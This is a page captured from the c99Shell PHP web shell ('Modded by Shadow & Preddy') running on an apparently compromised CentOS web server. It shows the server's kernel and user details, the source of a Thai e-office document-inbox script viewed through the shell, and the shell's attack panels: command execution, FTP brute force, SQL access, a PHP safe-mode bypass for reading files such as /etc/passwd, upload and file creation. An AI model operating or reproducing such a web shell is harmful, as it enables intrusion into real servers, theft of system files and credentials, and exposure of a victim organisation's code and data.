!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/person/   drwxr-xr-x
Free 52.61 GB of 127.8 GB (41.17%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     entryDoc.php (29.23 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
"; echo "


กรุณาทำการ Login ก่อน

"; echo ""; exit(); } else { /** Configuration */ require_once( "../configuration.php" ); require_once( $_Config_absolute_path . "/includes/framework.php" ); require_once( "../include/Function.php" ); /** Create Database Object */ $dbObj = new DBConn; //=== SESSION $Username = $valid_user; include_once "./class/clsTable.php"; include_once "./class/clsDepartment.php"; include_once "./class/clsPerson.php"; include_once "./link/function.php"; include_once "./class/clsDocLinePosition.php"; include_once "./class/clsDocLineConfig.php"; include_once "./class/clsReceiveSendType.php"; include_once "./class/clsDocType.php"; include_once "./link/functionshow.php"; include_once "./class/clsDocattatchesTmp.php"; include_once "./class/clsDocuments.php"; include_once "./class/clsDocSpeedLevel.php"; include_once "./class/clsDocSecreLevel.php"; include_once "./class/clsDocReceiveSend.php"; include_once "funct.php"; include_once "./class/clsDocInbox.php"; include_once "./link/keyThai.php"; $oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']); $oDP = new Department($oC); $oDP2 = new Department($oC); $oDP3 = new Department($oC); $oPS = new person($oC); $oDlc = new DocLineConfig($oC); $oDlc2 = new DocLineConfig($oC); $oDlp = new docLinePosition($oC); $oRSt = new receiveSendType($oC); $oDt = new doctype($oC); $oDtmp = new DocattatchesTmp($oC); $oDoc = new Documents($oC); $oDoc1 = new Documents($oC); $oDoc2 = new Documents($oC); $oDoc2 = new Documents($oC); $oDoc3 = new Documents($oC); $oDoc4 = new Documents($oC); $oDoc5 = new Documents($oC); $oDsl = new DocSpeedLevel($oC); $oDcl = new DocSecretLevel($oC); $oDsl2 = new DocSpeedLevel($oC); $oDcl2 = new DocSecretLevel($oC); $oRs = new DocReceiveSend($oC); $oRs1 = new DocReceiveSend($oC); $oRs2 = new DocReceiveSend($oC); $oRs3 = new DocReceiveSend($oC); $oRs4 = new DocReceiveSend($oC); $oRs5 = new DocReceiveSend($oC); $oRs6 = new DocReceiveSend($oC); $oDbx = new DocInbox($oC); $oDbx1 = new DocInbox($oC); $oDbx2 = new DocInbox($oC); $oDbx3 = new DocInbox($oC); $MaxDocGroup=$oDP->SearchMaxDocGroup(); $personId=$oU->userPsCode; if($searchName!=""){ $flagshow=1; } $oDbx2->SearchBypersonIdNoDelFolderlimit($personId); $oDbx2->GetRecord(); $docshow=$oDbx2->DocInboxID; $docnameshow=$oDbx2->InboxName; } # else ?> ข้อมูลทั่วไปบุคลากร - ข้อมูลงานวิจัย - ผลงานการวิจัย
หน้าหลัก » ข้อมูลทั่วไปบุคลากร » ข้อมูลงานวิจัย » ผลงานการวิจัย » เพิ่มประวัติผลงานวิจัย
 
">หนังสือเข้า
" size="3"> หนังสือเข้า    

ย้ายไปที่ จัดการโฟลเดอร์  ">จัดการโฟลเดอร์ 
" size="2">   รายการหนังสือเข้าที่ยังไม่ได้อ่าน และหนังสือที่อ่านแล้ว
"> SearchBypersonIdDrsDelete($personId); while($oRs2->GetRecord()){ //echo "gtrg==".$oRs2->DocID; $oDoc2->SearchByKey($oRs2->DocID); $oDoc2->GetRecord(); if($oDoc2->DtID==$DtID || $DtID=="" || $DtID=="0"){ $numrow++; } } //echo "----------".$numrow; $numRow = $numrow; $total_page = (int)($numRow/$GLOBALS['PAGE_SIZE']); if(($numRow%$GLOBALS['PAGE_SIZE']) != 0) $total_page++; if(isset($page_id)) $start = $GLOBALS['PAGE_SIZE']*($page_id-1); else { $page_id = 1; $start = 0; } ?> SearchBypersonIdDrsDeleteLimit($personId, $start,$GLOBALS['PAGE_SIZE']); $i=0; while($oRs->GetRecord()){ $oDoc->SearchByKey($oRs->DocID); $oDoc->GetRecord(); if($oDoc->DtID==$DtID || $DtID=="" || $DtID=="0"){ if(($i%2) == 0) echo ""; else echo ""; ?> DslID=="0"){ $rapid="../picture/rapid0.jpg"; $rapidname=$oDsl2->SearchName(0); }else if($oDoc->DslID=="1"){ $rapid="../picture/rapid1.jpg"; $rapidname=$oDsl2->SearchName(1); }else if($oDoc->DslID=="2"){ $rapid="../picture/rapid2.jpg"; $rapidname=$oDsl2->SearchName(2); }else if($oDoc->DslID=="3"){ $rapid="../picture/rapid3.jpg"; $rapidname=$oDsl2->SearchName(3); }else{ $rapid="../picture/blank.gif"; $rapidname=""; }?> DclID=="0"){ $secret="../picture/secret0.jpg"; $secretname=$oDcl2->SearchName(0); }else if($oDoc->DclID=="1"){ $secret="../picture/secret1.jpg"; $secretname=$oDcl2->SearchName(1);}else if($oDoc->DclID=="2"){ $secret="../picture/secret2.jpg"; $secretname=$oDcl2->SearchName(2); }else if($oDoc->DclID=="3"){ $secret="../picture/secret3.jpg"; $secretname=$oDcl2->SearchName(3); }else if($oDoc->DclID=="4"){ $secret="../picture/secret4.jpg"; $secretname=$oDcl2->SearchName(4); }else{ $secret="../picture/blank.gif"; $secretname="";}?>
" size="2">ที่/ฉบับที่/ครั้งที่/เลขที่ " size="2">จาก/ที่มา (ต้นเรื่อง) " size="2">เรื่อง/ว่าด้วย (ชนิดหนังสือ) " size="2">วันที่ได้รับหนังสือ ย้ายไปที่
 DocNo; ?> DtID=="1" || $oDoc->DtID=="2" || $oDoc->DtID=="14"){ echo " ".$oDoc->DocFrom."
"; }else{ if($oDoc->DocPID=="0"){ $oDlc2->SearchByKey($oDoc->DlcID); $oDlc2->GetRecord(); $oDlp->SearchByKey($oDlc2->DlpID); $oDlp->GetRecord(); echo " ".$oDoc->DocFrom."
"; echo " (".$oDlp->DlpName.")"; $countdoc=checkCountDoc($oDoc->DocID); }else{ $oDoc4->SearchByKey($oDoc->DocPID); $oDoc4->GetRecord(); $oDlc2->SearchByKey($oDoc4->DlcID); $oDlc2->GetRecord(); $oDlp->SearchByKey($oDlc2->DlpID); $oDlp->GetRecord(); echo " ".$oDoc->DocFrom."
"; echo " (".$oDlp->DlpName.")"; $countdoc=checkCountDoc($oDoc->DocPID); } } ?>
  DsID=="0"){ ?> หนังสือที่ยังไม่ได้เปิด DsID=="4" && $countdoc!="0"){ ?> ยังไม่ได้อ่านแฟ้มหนังสือ   DsID=="0"){ echo ""; } ?> DtID=="13"){ echo "ชื่อผู้ได้รับการรับรอง
".$oDoc->CertificatePs; }else{ echo $oDoc->DocSubject; } ?> DsID=="0"){ echo "
"; } ?>
  " size="2"> SearchByKey($oDoc->DtID); $oDt->GetRecord(); echo "(".$oDt->DtName.")";?> DrsSendToPs=="Y"){ echo " [ส่งด่วน] "; }?>
DrsReceiveDate!="0000-00-00 00:00:00"){ list($DocD,$DocT) = split(' ',$oRs->DrsReceiveDate); echo abbreDate2($DocD,'/')."
".a2th($DocT); } ?>
<? echo $rapidname; ?> <? echo $secretname; ?> DsID=="4" || $oRs->DsID=="5"){ ?>
" size="2">** ไม่มีรายการหนังสือที่ส่งถึงผู้รับผิดชอบ **
หน้า-> ";}?>   



  " size="2"> style="display:none; cursor:pointer" style="display:''; cursor:pointer" onclick="up_downList('')">แสดง แสดงรายการหนังสือในโฟลเดอร์ style="display:''; cursor:pointer" style="display:none; cursor:pointer" alt="ซ่อน" onclick="up_downList('')">ซ่อน  ซ่อนรายการหนังสือในโฟลเดอร์ style="display:''; border-collapse:collapse" style="display:none; border-collapse:collapse" >
" size="2">ค้นหาหนังสือ (เรื่อง/ว่าด้วย)  " size="2"> (ที่/ฉบับที่/ครั้งที่/เลขที่)    
style="display:''; cursor:pointer; border-collapse:collapse" style="display:none; cursor:pointer; border-collapse:collapse" >
SearchByKey($selectdo2); $oDbx3->GetRecord(); $idInboxName=$oDbx3->InboxName; } $oldbox=$selectdo2; ?> ย้าย/เลือกไปที่ 
" size="2">  
style="display:''; border-collapse:collapse" style="display:none; border-collapse:collapse" background="" > SearchBypersonIdDrsDelete2DrsInboxIDDrsflagReadsearchNo($personId,th2a($searchName),$idInbox,th2a($searchNo)); $numRow = $oRs4->NumRow(); $total_page = (int)($numRow/$GLOBALS['PAGE_SIZE']); if(($numRow%$GLOBALS['PAGE_SIZE']) != 0) $total_page++; if(isset($page_id)) $start = $GLOBALS['PAGE_SIZE']*($page_id-1); else { $page_id = 1; $start = 0; } //------------------------------- $oRs5->SearchBypersonId2DrsDeleteLimitDrsInboxIDDrsflagReadsearchNo($personId, $start, $GLOBALS['PAGE_SIZE'],th2a($searchName),$idInbox,th2a($searchNo)); $z=0; while($oRs5->GetRecord()){ $oDoc3->SearchByKey($oRs5->DocID); $oDoc3->GetRecord(); if(($z%2) == 0) echo ""; else echo ""; ?>
" size="2">ที่/ฉบับที่/ครั้งที่/เลขที่ " size="2">จาก/ที่มา (ต้นเรื่อง) " size="2">เรื่อง/ว่าด้วย (ชนิดหนังสือ) " size="2">วันที่ได้รับหนังสือ ย้าย/เลือกไปที่
 DocNo; ?> DtID=="1" || $oDoc3->DtID=="2" || $oDoc3->DtID=="14"){ echo " ".$oDoc3->DocFrom."
"; }else{ if($oDoc3->DocPID=="0"){ $oDlc2->SearchByKey($oDoc3->DlcID); $oDlc2->GetRecord(); $oDlp->SearchByKey($oDlc2->DlpID); $oDlp->GetRecord(); echo " ".$oDoc3->DocFrom."
"; echo " (".$oDlp->DlpName.")"; $countdoc=checkCountDoc($oDoc3->DocID); }else{ $oDoc5->SearchByKey($oDoc3->DocPID); $oDoc5->GetRecord(); $oDlc2->SearchByKey($oDoc5->DlcID); $oDlc2->GetRecord(); $oDlp->SearchByKey($oDlc2->DlpID); $oDlp->GetRecord(); echo " ".$oDoc3->DocFrom."
"; echo " (".$oDlp->DlpName.")"; $countdoc=checkCountDoc($oDoc3->DocPID); } } ?>
  DsID=="4" && $countdoc!="0"){ ?> ยังไม่ได้อ่านแฟ้มหนังสือ DtID=="13"){ echo "ชื่อผู้ได้รับการรับรอง
".$oDoc3->CertificatePs; }else{ echo $oDoc3->DocSubject; } ?>
DrsSendToPs=="Y"){ echo "[ส่งด่วน] "; }?>
DrsReceiveDate!="0000-00-00 00:00:00"){ list($DocD,$DocT) = split(' ',$oRs5->DrsReceiveDate); echo abbreDate2($DocD,'/')."
".a2th($DocT); } ?>
DrsflagRead=="N"){ ?>
" size="2">** ไม่มีรายการหนังสือในโฟลเดอร์ **
หน้า-> ";}?>   

" size="2"> หมายเหตุ :   " size="2">หมายถึงหนังสือที่ยังไม่ได้เปิดอ่าน    ยังไม่ได้อ่านแฟ้มหนังสือ หมายถึงยังไม่ได้อ่านแฟ้มหนังสือ
  " size="2">ชั้นความเร็ว  RSDocSpeedLevel(); $r=0; while($oDsl->GetRecord()){ if($oDsl->DslID=="0"){ $picsp="../picture/rapid0.jpg"; }else if($oDsl->DslID=="1"){ $picsp="../picture/rapid1.jpg"; }else if($oDsl->DslID=="2"){ $picsp="../picture/rapid2.jpg"; }else if($oDsl->DslID=="3"){ $picsp="../picture/rapid3.jpg"; } else if($oDsl->DslID=="4"){ $picsp="../picture/rapid4.jpg"; } ?> DslName."  "; $r++; }?>
  " size="2">ชั้นความลับ  RSDocSecretLevel(); $r=0; while($oDcl->GetRecord()){ if($oDcl->DclID=="0"){ $piccl="../picture/secret0.jpg"; }else if($oDcl->DclID=="1"){ $piccl="../picture/secret1.jpg"; }else if($oDcl->DclID=="2"){ $piccl="../picture/secret2.jpg"; }else if($oDcl->DclID=="3"){ $piccl="../picture/secret3.jpg"; } else if($oDcl->DclID=="4"){ $piccl="../picture/secret4.jpg"; } ?> DclName."  "; $r++; }?>
 
freeresult($result0); /** Close the Database */ $dbObj->disconn(); /** Unset Class */ unset($dbObj); ?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0056 ]--